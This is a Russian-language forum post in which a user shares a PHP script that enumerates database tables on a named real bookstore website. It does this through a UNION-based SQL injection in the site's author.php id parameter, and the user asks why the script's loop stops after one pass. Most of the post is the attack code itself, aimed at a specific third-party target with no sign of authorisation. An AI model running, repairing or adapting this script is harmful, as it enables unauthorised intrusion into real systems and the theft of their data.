
25.06.2008, 21:44
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами:
9454841
Репутация:
504
|
|
вопрос появился.. пишу дампер таблички information_schema.tables...
PHP код:
<?php
$host = 'www.llewellyn.com';
$fp = fsockopen($host, 80, $errno, $errstr, 30);
$pos = 0;
$pos1 = 0;
$i1 = 131;
$tableName = '';
if (!$fp) {
echo "$errstr ($errno)<br />\n";
exit;
}
for ($i=1; $i<$i1;$i++) {
$out = 'GET /bookstore/author.php?id=-48208+union+select+1,2,3,concat(0x7c3a7c3a,table_schema,0x2e,table_name,0x3a7c3a7c),5,null,null,null,9,10,11,12+from+information_schema.tables+limit+'.$i.',1/*'." HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "User-Agent: LOL/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
$out .= "Connection: Close\r\n\r\n";
while (!feof($fp))
{
$packet = fgets($fp);
fwrite($fh,$packet);
$pos = strpos($packet,'|:|:');
$pos1 = strpos($packet,':|:|');
$tableName = substr($packet, $pos+4, $pos1 - $pos - 4);
if (($pos) and ($pos1))
{
echo " pos: $pos\n pos1: $pos1\n table name: $tableName\n";
}
}
$out = '';
}
fclose($fp);
?>
появилась проблема... цикл for не работает.. точнее он проходит один шаг и завершается.. "кто виноват/ что делать?" (с)
Последний раз редактировалось gisTy; 25.06.2008 в 23:11..
|
|
|